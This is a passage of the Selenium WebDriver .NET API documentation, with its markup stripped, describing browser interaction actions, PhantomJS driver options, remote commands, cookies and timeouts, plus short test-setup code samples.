the mouse button down on the specified element. + + The element on which to click and hold. + A self-reference to this . + + + + Clicks and holds the mouse button at the last known mouse coordinates. + + A self-reference to this . + + + + Releases the mouse button on the specified element. + + The element on which to release the button. + A self-reference to this . + + + + Releases the mouse button at the last known mouse coordinates. + + A self-reference to this . + + + + Clicks the mouse on the specified element. + + The element on which to click. + A self-reference to this . + + + + Clicks the mouse at the last known mouse coordinates. + + A self-reference to this . + + + + Double-clicks the mouse on the specified element. + + The element on which to double-click. + A self-reference to this . + + + + Double-clicks the mouse at the last known mouse coordinates. + + A self-reference to this . + + + + Moves the mouse to the specified element. + + The element to which to move the mouse. + A self-reference to this . + + + + Moves the mouse to the specified offset of the top-left corner of the specified element. + + The element to which to move the mouse. + The horizontal offset to which to move the mouse. + The vertical offset to which to move the mouse. + A self-reference to this . + + + + Moves the mouse to the specified offset of the last known mouse coordinates. + + The horizontal offset to which to move the mouse. + The vertical offset to which to move the mouse. + A self-reference to this . + + + + Right-clicks the mouse on the specified element. + + The element on which to right-click. + A self-reference to this . + + + + Right-clicks the mouse at the last known mouse coordinates. + + A self-reference to this . + + + + Performs a drag-and-drop operation from one element to another. + + The element on which the drag operation is started. + The element on which the drop is performed. + A self-reference to this . + + + + Performs a drag-and-drop operation on one element to a specified offset. + + The element on which the drag operation is started. + The horizontal offset to which to move the mouse. + The vertical offset to which to move the mouse. + A self-reference to this . + + + + Builds the sequence of actions. + + A composite which can be used to perform the actions. + + + + Performs the currently built action. + + + + + Gets the instance of the specified . + + The to get the location of. + The of the . + + + + Adds an action to current list of actions to be performed. + + The to be added. + + + + Defines an action for keyboard and mouse interaction with the browser. + + + + + Initializes a new instance of the class for the given element. + + An object that provides coordinates for this action. + + + + Initializes a new instance of the class. + + This action will take place in the context of the previous action's coordinates. + + + + Gets the target of the action providing coordinates of the action. + + + + + Defines an action for mouse interaction with the browser. + + + + + Initializes a new instance of the class. + + The with which the action will be performed. + An describing an element at which to perform the action. + + + + Moves the mouse to the location at which to perform the action. + + + + + Gets the coordinates at which to perform the mouse action. + + + + + Gets the mouse with which to perform the action. + + + + + Provides methods by which an interaction with the browser can be performed. + + + + + Performs this action on the browser. + + + + + Defines an action for releasing the currently held mouse button. + + + This action can be called for an element different than the one + ClickAndHoldAction was called for. However, if this action is + performed out of sequence (without holding down the mouse button, + for example) the results will be different. + + + + + Initializes a new instance of the class. + + The with which the action will be performed. + An describing an element at which to perform the action. + + + + Performs this action. + + + + + Defines an action for clicking on an element. + + + + + Initializes a new instance of the class. + + The with which the action will be performed. + An describing an element at which to perform the action. + + + + Performs this action. + + + + + Defines an action for clicking and holding the mouse button on an element. + + + + + Initializes a new instance of the class. + + The with which the action will be performed. + An describing an element at which to perform the action. + + + + Performs this action. + + + + + Defines an action that consists of a list of other actions to be performed in the browser. + + + + + Adds an action to the list of actions to be performed. + + An to be appended to the + list of actions to be performed. + A self reference. + + + + Performs the actions defined in this list of actions. + + + + + Defines an action for clicking the secondary mouse button on an element, displaying a context menu. + + + + + Initializes a new instance of the class. + + The with which the action will be performed. + An describing an element at which to perform the action. + + + + Performs this action. + + + + + Defines an action for double-clicking on an element. + + + + + Initializes a new instance of the class. + + The with which the action will be performed. + An describing an element at which to perform the action. + + + + Performs this action. + + + + + Defines an action for keyboard interaction with the browser. + + + + + Initializes a new instance of the class. + + The to use in performing the action. + An object providing the element on which to perform the action. + + + + Gets the touch screen with which to perform the action. + + + + + Gets the location at which to perform the action. + + + + + Creates a double tap gesture on a touch screen. + + + + + Initializes a new instance of the class. + + The with which the action will be performed. + An describing an element at which to perform the action. + + + + Performs the action. + + + + + Creates a flick gesture on a touch screen. + + + + + Initializes a new instance of the class. + + The with which the action will be performed. + The horizontal speed in pixels per second. + The vertical speed in pixels per second. + + + + Initializes a new instance of the class for use with the specified element. + + The with which the action will be performed. + An describing an element at which to perform the action. + The x offset relative to the viewport. + The y offset relative to the viewport. + The speed in pixels per second. + + + + Performs the action. + + + + + Provides location of the element using various frames of reference. + + + + + Gets the location of an element in absolute screen coordinates. + + + + + Gets the location of an element relative to the origin of the view port. + + + + + Gets the location of an element's position within the HTML DOM. + + + + + Gets a locator providing a user-defined location for this element. + + + + + Defines an action for keyboard interaction with the browser. + + + + + Initializes a new instance of the class. + + The to use in performing the action. + The to use in setting focus to the element on which to perform the action. + An object providing the element on which to perform the action. + + + + Focuses on the element on which the action is to be performed. + + + + + Gets the keyboard with which to perform the action. + + + + + Defines an action for keyboard interaction with the browser using a single modifier key. + + + + + Initializes a new instance of the class. + + The to use in performing the action. + The to use in setting focus to the element on which to perform the action. + An object providing the element on which to perform the action. + The modifier key (, , ) to use in the action. + + + + Gets the key with which to perform the action. + + + + + Defines an action for pressing a modifier key (Shift, Alt, or Control) on the keyboard. + + + + + Initializes a new instance of the class. + + The to use in performing the action. + The to use in setting focus to the element on which to perform the action. + An object providing the element on which to perform the action. + The modifier key (, , ) to use in the action. + + + + Performs this action. + + + + + Defines an action for releasing a modifier key (Shift, Alt, or Control) on the keyboard. + + + + + Initializes a new instance of the class. + + The to use in performing the action. + The to use in setting focus to the element on which to perform the action. + An object providing the element on which to perform the action. + The modifier key (, , ) to use in the action. + + + + Performs this action. + + + + + Creates a long press gesture on a touch screen. + + + + + Initializes a new instance of the class. + + The with which the action will be performed. + An describing an element at which to perform the action. + + + + Performs the action. + + + + + Defines an action for moving the mouse to a specified location. + + + + + Initializes a new instance of the class. + + The with which the action will be performed. + An describing an element at which to perform the action. + + + + Performs this action. + + + + + Defines an action for moving the mouse to a specified offset from its current location. + + + + + Initializes a new instance of the class. + + The with which the action will be performed. + An describing an element at which to perform the action. + The horizontal offset from the origin of the target to which to move the mouse. + The vertical offset from the origin of the target to which to move the mouse. + + + + Performs this action. + + + + + Presses a touch screen at a given location. + + + + + Initializes a new instance of the class. + + The with which the action will be performed. + The x coordinate relative to the view port. + The y coordinate relative to the view port. + + + + Performs the action. + + + + + Presses a touch screen at a given location. + + + + + Initializes a new instance of the class. + + The with which the action will be performed. + The x coordinate relative to the view port. + The y coordinate relative to the view port. + + + + Performs the action. + + + + + Presses a touch screen at a given location. + + + + + Initializes a new instance of the class. + + The with which the action will be performed. + The x coordinate relative to the view port. + The y coordinate relative to the view port. + + + + Performs the action. + + + + + Creates a double tap gesture on a touch screen. + + + + + Initializes a new instance of the class. + + The with which the action will be performed. + The horizontal offset relative to the view port. + The vertical offset relative to the view port. + + + + Initializes a new instance of the class for use with the specified element. + + The with which the action will be performed. + An describing an element at which to perform the action. + The x coordinate relative to the view port. + The y coordinate relative to the view port. + + + + Performs the action. + + + + + Defines an action for sending a sequence of keystrokes to an element. + + + + + Initializes a new instance of the class. + + The to use in performing the action. + The to use in setting focus to the element on which to perform the action. + An object providing the element on which to perform the action. + The key sequence to send. + + + + Performs this action. + + + + + Creates a single tap gesture on a touch screen. + + + + + Initializes a new instance of the class. + + The with which the action will be performed. + An describing an element at which to perform the action. + + + + Performs the action. + + + + + Provides a mechanism for building advanced interactions with the browser. + + + + + Initializes a new instance of the class. + + The object on which the actions built will be performed. + + + + Taps the touch screen on the specified element. + + The element on which to tap. + A self-reference to this . + + + + Presses down at the specified location on the screen. + + The x coordinate relative to the view port. + The y coordinate relative to the view port. + A self-reference to this . + + + + Releases a press at the specified location on the screen. + + The x coordinate relative to the view port. + The y coordinate relative to the view port. + A self-reference to this . + + + + Moves to the specified location on the screen. + + The x coordinate relative to the view port. + The y coordinate relative to the view port. + A self-reference to this . + + + + Scrolls the touch screen beginning at the specified element. + + The element on which to begin scrolling. + The x coordinate relative to the view port. + The y coordinate relative to the view port. + A self-reference to this . + + + + Double-taps the touch screen on the specified element. + + The element on which to double-tap. + A self-reference to this . + + + + Presses and holds on the touch screen on the specified element. + + The element on which to press and hold + A self-reference to this . + + + + Scrolls the touch screen to the specified offset. + + The horizontal offset relative to the view port. + The vertical offset relative to the view port. + A self-reference to this . + + + + Flicks the current view. + + The horizontal speed in pixels per second. + The vertical speed in pixels per second. + A self-reference to this . + + + + Flicks the current view starting at a specific location. + + The element at which to start the flick. + The x offset relative to the viewport. + The y offset relative to the viewport. + The speed in pixels per second. + A self-reference to this . + + + + Utility class used to execute "asynchronous" scripts. This class should + only be used by browsers that do not natively support asynchronous + script execution. + Warning: this class is intended for internal use + only. This class will be removed without warning after all + native asynchronous implementations have been completed. + + + + + Initializes a new instance of the class. + + An object capable of executing JavaScript. + + + + Executes a JavaScript script asynchronously. + + The script to execute. + An array of objects used as arguments in the script. + The object which is the return value of the script. + if the object executing the function doesn't support JavaScript. + if the page reloads during the JavaScript execution. + if the timeout expires during the JavaScript execution. + + + + Gets or sets the timeout for the script executor. + + + + + Encapsulates methods for working with files. + + + + + Recursively copies a directory. + + The source directory to copy. + The destination directory. + + if the copy is completed; otherwise . + + + + Recursively deletes a directory, retrying on error until a timeout. + + The directory to delete. + This method does not throw an exception if the delete fails. + + + + Searches for a file with the specified name. + + The name of the file to find. + The full path to the directory where the file can be found, + or an empty string if the file does not exist in the locations searched. + + This method looks first in the directory of the currently executing + assembly. If the specified file is not there, the method then looks in + each directory on the PATH environment variable, in order. + + + + + Gets the directory of the currently executing assembly. + + The directory of the currently executing assembly. + + + + Generates the full path to a random directory name in the temporary directory, following a naming pattern.. + + The pattern to use in creating the directory name, following standard + .NET string replacement tokens. + The full path to the random directory name in the temporary directory. + + + + Defines the interface through which the user can discover if there is an underlying element to be used. + + + + + Gets the wrapped by this object. + + + + + Provides entry points into needed unmanaged APIs. + + + + + Values for flags for setting information about a native operating system handle. + + + + + Encapsulates methods for working with ports. + + + + + Finds a random, free port to be listened on. + + A random, free port to be listened on. + + + + Encapsulates methods for finding and extracting WebDriver resources. + + + + + Gets a that contains the resource to use. + + A file name in the file system containing the resource to use. + A string representing the resource name embedded in the + executing assembly, if it is not found in the file system. + A Stream from which the resource can be read. + Thrown if neither the file nor the embedded resource can be found. + + The GetResourceStream method searches for the specified resource using the following + algorithm: + In the same directory as the calling assembly.In the full path specified by the argument.Inside the calling assembly as an embedded resource. + + + + Represents a cookie returned to the driver by the browser. + + + + + Initializes a new instance of the class with a specific name, + value, domain, path and expiration date. + + The name of the cookie. + The value of the cookie. + The domain of the cookie. + The path of the cookie. + The expiration date of the cookie. + + if the cookie is secure; otherwise + The current the browser is viewing. + If the name is or an empty string, + or if it contains a semi-colon. + If the value or currentUrl is . + + + + Creates and returns a string representation of the current cookie. + + A string representation of the current cookie. + + + + Gets the current URL the browser is viewing. + + + + + Gets a value determining if the cookie is secure. + + + + + Allows the user to specify the name of an argument to be used on the command line for PhantomJS. + + + + + Initializes a new instance of the class. + + The name of the argument to be used in the PhantomJS command line. + + + + Gets the name of the argument to be used in the PhantomJS command line. + + + + + Provides a way to access PhantomJS to run your tests by creating a PhantomJSDriver instance + + + When the WebDriver object has been instantiated the browser will load. The test can then navigate to the URL under test and + start your test. + + + + [TestFixture] + public class Testing + { + private IWebDriver driver; + + [SetUp] + public void SetUp() + { + driver = new PhantomJSDriver(); + } + + [Test] + public void TestGoogle() + { + driver.Navigate().GoToUrl("http://www.google.co.uk"); + /* + * Rest of the test + */ + } + + [TearDown] + public void TearDown() + { + driver.Quit(); + driver.Dispose(); + } + } + + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with the desired options. + + The used to initialize the driver. + + + + Initializes a new instance of the class using the specified driver service. + + The used to initialize the driver. + + + + Initializes a new instance of the class using the specified path + to the directory containing PhantomJS.exe. + + The full path to the directory containing PhantomJS.exe. + + + + Initializes a new instance of the class using the specified path + to the directory containing PhantomJS.exe and options. + + The full path to the directory containing PhantomJS.exe. + The used to initialize the driver. + + + + Initializes a new instance of the class using the specified path + to the directory containing PhantomJS.exe, options, and command timeout. + + The full path to the directory containing PhantomJS.exe. + The used to initialize the driver. + The maximum amount of time to wait for each command. + + + + Initializes a new instance of the class using the specified + and options. + + The to use. + The used to initialize the driver. + + + + Initializes a new instance of the PhantomJSDriver class using the specified . + + The to use. + The used to initialize the driver. + The maximum amount of time to wait for each command. + + + + Gets a object representing the image of the page on the screen. + + A object containing the image. + + + + Gets or sets the responsible for detecting + sequences of keystrokes representing file paths and names. + + The PhantomJS driver does not allow a file detector to be set, + as PhantomJS only allows uploads from the local computer environment. + Attempting to set this property has no effect, but does not throw an + exception. If you are attempting to run the PhantomJS driver remotely, + use in conjunction with a standalone + WebDriver server. + + + + Exposes the service provided by the native PhantomJS executable and GhostDriver JavaScript library. + + + + + Prevents a default instance of the class from being created. + + + This constructor is only used by the unit tests. It should not be + used in any other circumstances. + + + + + Initializes a new instance of the PhantomJSDriverService class. + + The full path to the PhantomJS executable. + The port on which the IEDriverServer executable should listen. + + + + Creates a default instance of the PhantomJSDriverService. + + A PhantomJSDriverService that implements default settings. + + + + Creates a default instance of the PhantomJSDriverService using a specified path to the PhantomJS executable. + + The directory containing the PhantomJS executable. + A PhantomJSDriverService using a random port. + + + + Adds a single argument to the list of arguments to be appended to the PhantomJS.exe command line. + + The argument to add. + + + + Adds arguments to be appended to the PhantomJS.exe command line. + + An array of arguments to add. + + + + Adds arguments to be appended to the PhantomJS.exe command line. + + An object of arguments to add. + + + + Serializes the service options to JSON to be used as a configuration file for PhantomJS.exe (via the --config argument). + + The JSON representation of the configured service options. + + + + Gets or sets the file name used to store the persistent cookies. + + + + + Gets or sets a value indicating whether the disk cache is enabled (at desktop services cache storage location, default is no). + + + + + Gets or sets a value indicating whether SSL errors are ignored, such as expired or self-signed certificate errors (default is no). + + + + + Gets or sets a value indicating whether all inlined images are loaded (default is yes). + + + + + Gets or sets the path to save LocalStorage content and WebSQL content. + + + + + Gets or sets the maximum size to allow for data. + + + + + Gets or sets a value indicating whether local content is allowed to access remote URL (default is no). + + + + + Gets or sets the size limit of the disk cache in KB. + + + + + Gets or sets the encoding used for terminal output (default is "utf8"). + + + + + Gets or sets the proxy server information (in the format of {address} or {address}:{port}). + + + + + Gets or sets the type of the proxy server ('http', 'socks5' or 'none'). + + + + + Gets or sets the encoding used for the starting script (default is "utf8"). + + + + + Gets or sets the SSL protocol for secure connections ('sslv3' (default), 'sslv2', 'tlsv1' or 'any'). + + + + + Gets or sets a value indicating whether web security is enabled and forbids cross-domain XHR (default is yes). + + + + + Gets or sets the location where the GhostDriver JavaScript file is located. This + allows the use of an external implementation of GhostDriver instead of the + implementation embedded inside the PhantomJS executable. + + + + + Gets or sets the location of the log file to which PhantomJS will write log + output. If this value is or an empty string, the log + output will be written to the console window. + + + + + Gets the list of arguments appended to the PhantomJS command line as a string array. + + + + + Gets or sets the path to the JSON configuration file (in lieu of providing any other parameters). + + If a instance is serialized to JSON, it can be saved to a + file and used as a JSON configuration source for the PhantomJS.exe process. + + + var configOptions = PhantomJSDriverService.CreateDefaultService() + { + CookiesFile = "cookiesFile", + DiskCache = true, + IgnoreSslErrors = true, + LoadImages = true, + LocalToRemoteUrlAccess = true, + MaxDiskCacheSize = 1000, + OutputEncoding = "abc", + Proxy = "address:999", + ProxyType = "socks5", + ScriptEncoding = "def", + SslProtocol = "sslv2", + WebSecurity = true, + }; + + string json = configOptions.ToJson(); + + File.WriteAllText(@"C:\temp\myconfig.json", json); + + var driverService = PhantomJSDriver.CreateDefaultService(); + driverService.ConfigFile = @"C:\temp\myconfig.json"; + + var driver = new PhantomJSDriver(driverService); // Launches PhantomJS.exe using JSON configuration file. + + + + + + Gets the command-line arguments for the driver service. + + + + + Class to manage options specific to + + + PhantomJSOptions options = new PhantomJSOptions(); + + + + For use with PhantomJSDriver: + + + + PhantomJSDriver driver = new PhantomJSDriver(options); + + + + For use with RemoteWebDriver: + + + + RemoteWebDriver driver = new RemoteWebDriver(new Uri("http://localhost:4444/wd/hub"), options.ToCapabilities()); + + + + + + Provides a means to add additional capabilities not yet added as type safe options + for the PhantomJS driver. + + The name of the capability to add. + The value of the capability to add. + + thrown when attempting to add a capability for which there is already a type safe option, or + when is or the empty string. + + Calling where + has already been added will overwrite the existing value with the new value in + + + + Returns DesiredCapabilities for PhantomJS with these options included as + capabilities. This copies the options. Further changes will not be + reflected in the returned capabilities. + + The DesiredCapabilities for PhantomJS with these options. + + + + PhantomJSWebElement allows you to have access to specific items that are found on the page. + + + + + + [Test] + public void TestGoogle() + { + driver = new PhantomJSDriver(); + PhantomJSWebElement elem = driver.FindElement(By.Name("q")); + elem.SendKeys("Cheese please!"); + } + + + + + + Initializes a new instance of the PhantomJSWebElement class. + + Driver in use. + ID of the element. + + + + Provides types of capabilities for the DesiredCapabilities object. + + + + + Capability name used for the browser name. + + + + + Capability name used for the browser platform. + + + + + Capability name used for the browser version. + + + + + Capability name used to indicate whether JavaScript is enabled for the browser. + + + + + Capability name used to indicate whether the browser can take screenshots. + + + + + Capability name used to indicate whether the browser can handle alerts. + + + + + Capability name used to indicate whether the browser can find elements via CSS selectors. + + + + + Capability name used for the browser proxy. + + + + + Capability name used to indicate whether the browser supports rotation. + + + + + Capability name used to indicate whether the browser accepts SSL certificates. + + + + + Capability name used to indicate whether the browser uses native events. + + + + + Capability name used to indicate how the browser handles unexpected alerts. + + + + + Provides a way to send commands to the remote server + + + + + Initializes a new instance of the Command class using a command name and a JSON-encoded string for the parameters. + + Name of the command + Parameters for the command as a JSON-encoded string. + + + + Initializes a new instance of the Command class for a Session + + Session ID the driver is using + Name of the command + Parameters for that command + + + + Returns a string of the Command object + + A string representation of the Command Object + + + + Gets the command parameters as a , with a string key, and an object value. + + The JSON-encoded string representing the command parameters. + A with a string keys, and an object value. + + + + Gets the SessionID of the command + + + + + Gets the command name + + + + + Gets the parameters of the command + + + + + Gets the parameters of the command as a JSON-encoded string. + + + + + Provides the execution information for a . + + + + + POST verb for the command info + + + + + GET verb for the command info + + + + + DELETE verb for the command info + + + + + Initializes a new instance of the CommandInfo class + + Method of the Command + Relative URL path to the resource used to execute the command + + + + Creates a web request for your command + + Uri that will have the command run against + Command to execute + A web request of what has been run + + + + Gets the URL representing the path to the resource. + + + + + Gets the HTTP method associated with the command. + + + + + Holds the information about all commands specified by the JSON wire protocol. + + + + + Prevents a default instance of the class from being created. + + + + + Gets the for a . + + The for which to get the information. + The for the specified command. + + + + Gets the singleton instance of the . + + + + + Class to Create the capabilities of the browser you require for . + If you wish to use default values use the static methods + + + + + Initializes a new instance of the DesiredCapabilities class + + Name of the browser e.g. firefox, internet explorer, safari + Version of the browser + The platform it works on + + + + Initializes a new instance of the DesiredCapabilities class + + + + + Initializes a new instance of the DesiredCapabilities class + + Dictionary of items for the remote driver + + + DesiredCapabilities capabilities = new DesiredCapabilities(new Dictionary]]>(){["browserName","firefox"],["version",string.Empty],["javaScript",true]}); + + + + + + Method to return a new DesiredCapabilities using defaults + + New instance of DesiredCapabilities for use with Firefox + + + + Method to return a new DesiredCapabilities using defaults + + New instance of DesiredCapabilities for use with Firefox + + + + Method to return a new DesiredCapabilities using defaults + + New instance of DesiredCapabilities for use with Internet Explorer + + + + Method to return a new DesiredCapabilities using defaults + + New instance of DesiredCapabilities for use with HTMLUnit + + + + Method to return a new DesiredCapabilities using defaults + + New instance of DesiredCapabilities for use with HTMLUnit with JS + + + + Method to return a new DesiredCapabilities using defaults + + New instance of DesiredCapabilities for use with iPhone + + + + Method to return a new DesiredCapabilities using defaults + + New instance of DesiredCapabilities for use with iPad + + + + Method to return a new DesiredCapabilities using defaults + + New instance of DesiredCapabilities for use with Chrome + + + + Method to return a new DesiredCapabilities using defaults + + New instance of DesiredCapabilities for use with Android + + + + Method to return a new DesiredCapabilities using defaults + + New instance of DesiredCapabilities for use with Opera + + + + Method to return a new DesiredCapabilities using defaults + + New instance of DesiredCapabilities for use with Safari + + + + Gets a value indicating whether the browser has a given capability. + + The capability to get. + Returns if the browser has the capability; otherwise, . + + + + Gets a capability of the browser. + + The capability to get. + An object associated with the capability, or + if the capability is not set on the browser. + + + + Sets a capability of the browser. + + The capability to get. + The value for the capability. + + + + Return HashCode for the DesiredCapabilities that has been created + + Integer of HashCode generated + + + + Return a string of capabilities being used + + String of capabilities being used + + + + Compare two DesiredCapabilities and will return either true or false + + DesiredCapabilities you wish to compare + true if they are the same or false if they are not + + + + Gets the browser name + + + + + Gets or sets the platform + + + + + Gets the browser version + + + + + Gets or sets a value indicating whether the browser is JavaScript enabled + + + + + Gets the internal capabilities dictionary. + + + + + Values describing the list of commands understood by a remote server using the JSON wire protocol. + + + + + Represents the Define Driver Mapping command + + + + + Represents the Status command. + + + + + Represents a New Session command + + + + + Represents the Get Session List command + + + + + Represents the Get Session Capabilities command + + + + + Represents a Browser close command + + + + + Represents a browser quit command + + + + + Represents a GET command + + + + + Represents a Browser going back command + + + + + Represents a Browser going forward command + + + + + Represents a Browser refreshing command + + + + + Represents adding a cookie command + + + + + Represents getting all cookies command + + + + + Represents deleting a cookie command + + + + + Represents Deleting all cookies command + + + + + Represents FindElement command + + + + + Represents FindElements command + + + + + Represents FindChildElement command + + + + + Represents FindChildElements command + + + + + Describes an element + + + + + Represents ClearElement command + + + + + Represents ClickElement command + + + + + Represents SendKeysToElements command + + + + + Represents SubmitElement command + + + + + Represents GetCurrentWindowHandle command + + + + + Represents GetWindowHandles command + + + + + Represents SwitchToWindow command + + + + + Represents SwitchToFrame command + + + + + Represents GetActiveElement command + + + + + Represents GetCurrentUrl command + + + + + Represents GetPageSource command + + + + + Represents GetTitle command + + + + + Represents ExecuteScript command + + + + + Represents ExecuteAsyncScript command + + + + + Represents GetElementText command + + + + + Represents GetElementTagName command + + + + + Represents IsElementSelected command + + + + + Represents IsElementEnabled command + + + + + Represents IsElementDisplayed command + + + + + Represents GetElementLocation command + + + + + Represents GetElementLocationOnceScrolledIntoView command + + + + + Represents GetElementSize command + + + + + Represents GetElementAttribute command + + + + + Represents GetElementValueOfCSSProperty command + + + + + Represents ElementEquals command + + + + + Represents Screenshot command + + + + + Represents GetOrientation command + + + + + Represents SetOrientation command + + + + + Represents GetWindowSize command + + + + + Represents SetWindowSize command + + + + + Represents GetWindowPosition command + + + + + Represents SetWindowPosition command + + + + + Represents MaximizeWindow command + + + + + Represents the DismissAlert command + + + + + Represents the AcceptAlert command + + + + + Represents the GetAlertText command + + + + + Represents the SetAlertValue command + + + + + Represents the ImplicitlyWait command + + + + + Represents the SetAsyncScriptTimeout command + + + + + Represents the SetTimeout command + + + + + Represents the MouseClick command. + + + + + Represents the MouseDoubleClick command. + + + + + Represents the MouseDown command. + + + + + Represents the MouseUp command. + + + + + Represents the MouseMoveTo command. + + + + + Represents the SendKeysToActiveElement command. + + + + + Represents the UploadFile command. + + + + + Represents the TouchSingleTap command. + + + + + Represents the TouchPress command. + + + + + Represents the TouchRelease command. + + + + + Represents the TouchMove command. + + + + + Represents the TouchScroll command. + + + + + Represents the TouchDoubleTap command. + + + + + Represents the TouchLongPress command. + + + + + Represents the TouchFlick command. + + + + + Provides a mechanism to execute commands on the browser + + + + + Initializes a new instance of the class. + + The that drives the browser. + The maximum amount of time to wait for each command. + + + + Initializes a new instance of the class. + + The that drives the browser. + The maximum amount of time to wait for each command. + + if the KeepAlive header should be sent + with HTTP requests; otherwise, . + + + + Executes a command with the Driver. + + The command you wish to execute + A response from the browser + + + + Provides a way to store errors from a response + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class using the specified values. + + A containing names and values of + the properties of this . + + + + Gets or sets the message from the response + + + + + Gets or sets the class name that threw the error + + + + + Gets or sets the screenshot of the error + + + + + Gets or sets the stack trace of the error + + + + + Represents a file detector for determining whether a file + must be uploaded to a remote server. + + + + + Returns a value indicating whether a specified key sequence represents + a file name and path. + + The sequence to test for file existence. + + if the key sequence represents a file; otherwise, . + + + + Defines the interface through which the user can manipulate JavaScript alerts. + + + + + Initializes a new instance of the class. + + The for which the alerts will be managed. + + + + Dismisses the alert. + + + + + Accepts the alert. + + + + + Sends keys to the alert. + + The keystrokes to send. + + + + Gets the text of the alert. + + + + + Defines an interface allowing the user to manipulate cookies on the current page. + + + + + Initializes a new instance of the class. + + The driver that is currently in use + + + + Method for creating a cookie in the browser + + + that represents a cookie in the browser + + + + Delete the cookie by passing in the name of the cookie + + The name of the cookie that is in the browser + + + + Delete a cookie in the browser by passing in a copy of a cookie + + An object that represents a copy of the cookie that needs to be deleted + + + + Delete All Cookies that are present in the browser + + + + + Method for returning a getting a cookie by name + + name of the cookie that needs to be returned + A Cookie from the name + + + + Method for getting a Collection of Cookies that are present in the browser + + ReadOnlyCollection of Cookies in the browser + + + + Gets all cookies defined for the current page. + + + + + Defines the interface through which the user can discover where an element is on the screen. + + + + + Initializes a new instance of the class. + + The to be located. + + + + Gets the location of an element in absolute screen coordinates. + + + + + Gets the location of an element relative to the origin of the view port. + + + + + Gets the location of an element's position within the HTML DOM. + + + + + Gets a locator providing a user-defined location for this element. + + + + + Defines the interface through which the user can execute advanced keyboard interactions. + + + + + Initializes a new instance of the class. + + The for which the keyboard will be managed. + + + + Sends a sequence of keystrokes to the target. + + A string representing the keystrokes to send. + + + + Presses a key. + + The key value representing the key to press. + The key value must be one of the values from the class. + + + + Releases a key. + + The key value representing the key to release. + The key value must be one of the values from the class. + + + + Defines the interface through which the user can execute advanced mouse interactions. + + + + + Initializes a new instance of the class. + + The for which the mouse will be managed. + + + + Clicks at a set of coordinates using the primary mouse button. + + An describing where to click. + + + + Double-clicks at a set of coordinates. + + A describing where to double-click. + + + + Presses the primary mouse button at a set of coordinates. + + A describing where to press the mouse button down. + + + + Releases the primary mouse button at a set of coordinates. + + A describing where to release the mouse button. + + + + Moves the mouse to the specified set of coordinates. + + A describing where to move the mouse to. + + + + Moves the mouse to the specified set of coordinates. + + A describing where to click. + A horizontal offset from the coordinates specified in . + A vertical offset from the coordinates specified in . + + + + Clicks at a set of coordinates using the secondary mouse button. + + A describing where to click. + + + + Provides a mechanism for Navigating with the driver. + + + + + Initializes a new instance of the RemoteNavigator class + + Driver in use + + + + Move the browser back + + + + + Move the browser forward + + + + + Navigate to a url for your test + + String of where you want the browser to go to + + + + Navigate to a url for your test + + Uri object of where you want the browser to go to + + + + Refresh the browser + + + + + Provides a mechanism for setting options needed for the driver during the test. + + + + + Initializes a new instance of the RemoteOptions class + + Instance of the driver currently in use + + + + Provides access to the timeouts defined for this driver. + + An object implementing the interface. + + + + Gets an object allowing the user to manipulate cookies on the page. + + + + + Gets an object allowing the user to manipulate the currently-focused browser window. + + "Currently-focused" is defined as the browser window having the window handle + returned when IWebDriver.CurrentWindowHandle is called. + + + + Provides a mechanism for finding elements on the page with locators. + + + + + Initializes a new instance of the RemoteTargetLocator class + + The driver that is currently in use + + + + Move to a different frame using its index + + The index of the + A WebDriver instance that is currently in use + + + + Move to different frame using its name + + name of the frame + A WebDriver instance that is currently in use + + + + Move to a frame element. + + a previously found FRAME or IFRAME element. + A WebDriver instance that is currently in use. + + + + Change to the Window by passing in the name + + name of the window that you wish to move to + A WebDriver instance that is currently in use + + + + Change the active frame to the default + + Element of the default + + + + Finds the active element on the page and returns it + + Element that is active + + + + Switches to the currently active modal dialog for this particular driver instance. + + A handle to the dialog. + + + + Defines the interface through which the user can define timeouts. + + + + + Initializes a new instance of the RemoteTimeouts class + + The driver that is currently in use + + + + Specifies the amount of time the driver should wait when searching for an + element if it is not immediately present. + + A structure defining the amount of time to wait. + A self reference + + When searching for a single element, the driver should poll the page + until the element has been found, or this timeout expires before throwing + a . When searching for multiple elements, + the driver should poll the page until at least one element has been found + or this timeout has expired. + + Increasing the implicit wait timeout should be used judiciously as it + will have an adverse effect on test run time, especially when used with + slower location strategies like XPath. + + + + + Specifies the amount of time the driver should wait when executing JavaScript asynchronously. + + A structure defining the amount of time to wait. + Setting this parameter to will allow the script to run indefinitely. + A self reference + + + + Specifies the amount of time the driver should wait for a page to load when setting the property. + + A structure defining the amount of time to wait. + Setting this parameter to will allow the page to load indefinitely. + A self reference + + + + Defines the interface through which the user can execute advanced touch screen interactions. + + + + + Initializes a new instance of the class. + + The for which the touch screen will be managed. + + + + Allows the execution of single tap on the screen, analogous to click using a Mouse. + + The object representing the location on the screen, + usually an . + + + + Allows the execution of the gesture 'down' on the screen. It is typically the first of a + sequence of touch gestures. + + The x coordinate relative to the view port. + The y coordinate relative to the view port. + + + + Allows the execution of the gesture 'up' on the screen. It is typically the last of a + sequence of touch gestures. + + The x coordinate relative to the view port. + The y coordinate relative to the view port. + + + + Allows the execution of the gesture 'move' on the screen. + + The x coordinate relative to the view port. + The y coordinate relative to the view port. + + + + Creates a scroll gesture that starts on a particular screen location. + + The object representing the location on the screen + where the scroll starts, usually an . + The x coordinate relative to the view port. + The y coordinate relative to the view port. + + + + Creates a scroll gesture for a particular x and y offset. + + The horizontal offset relative to the view port. + The vertical offset relative to the view port. + + + + Allows the execution of double tap on the screen, analogous to click using a Mouse. + + The object representing the location on the screen, + usually an . + + + + Allows the execution of a long press gesture on the screen. + + The object representing the location on the screen, + usually an . + + + + Creates a flick gesture for the current view. + + The horizontal speed in pixels per second. + The vertical speed in pixels per second. + + + + Creates a flick gesture for the current view starting at a specific location. + + The object representing the location on the screen + where the scroll starts, usually an . + The x offset relative to the viewport. + The y offset relative to the viewport. + The speed in pixels per second. + + + + Defines the interface through which the user can manipulate the browser window. + + + + + Initializes a new instance of the class. + + Instance of the driver currently in use + + + + Maximizes the current window if it is not already maximized. + + + + + Gets or sets the position of the browser window relative to the upper-left corner of the screen. + + When setting this property, it should act as the JavaScript window.moveTo() method. + + + + Gets or sets the size of the outer browser window, including title bars and window borders. + + When setting this property, it should act as the JavaScript window.resizeTo() method. + + + + Handles reponses from the browser + + + + + Initializes a new instance of the Response class + + + + + Initializes a new instance of the Response class + + Session ID in use + + + + Returns a new from a JSON-encoded string. + + The JSON string to deserialize into a . + A object described by the JSON string. + + + + Returns this object as a JSON-encoded string. + + A 